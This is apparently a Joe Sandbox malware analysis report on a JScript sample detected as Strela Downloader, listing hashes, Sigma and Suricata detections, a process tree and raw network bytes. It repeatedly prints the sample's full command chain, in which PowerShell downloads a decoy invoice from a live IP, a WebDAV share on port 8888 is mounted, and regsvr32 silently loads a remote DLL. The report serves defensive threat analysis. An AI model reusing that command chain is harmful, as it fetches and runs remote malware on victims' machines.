Edit tour

Windows Analysis Report
3090182781939528365.js

Overview

General Information

Sample name:	3090182781939528365.js
Analysis ID:	1587954
MD5:	2c5951505bb42467662be2f69031e07c
SHA1:	d2b25697d08bb27f30653d359df984c3046ccf4c
SHA256:	8425539e1744a88e0d208292e136181ff66c6df94d5f7c5be9ef33dfc4aac645
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5260 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4220 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5736 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5260 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

cmd.exe (PID: 6912 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 968 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 3172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7368 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1672,i,5285183132479127642,2424678846282902053,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 7224 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5260	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4220, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5736, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4220, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5736, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ProcessId: 5260, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 968, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49702

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ProcessId: 4220, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ProcessId: 4220, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ProcessId: 4220, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ProcessId: 4220, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ProcessId: 4220, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ProcessId: 4220, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ProcessId: 5260, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4220, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5736, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6912, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 968, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7224, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6912, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 968, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3090182781939528365.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll, ProcessId: 4220, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:43:54.064756+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49702	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:43:51.006834+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3090182781939528365.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3090182781939528365.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49702 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:43:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 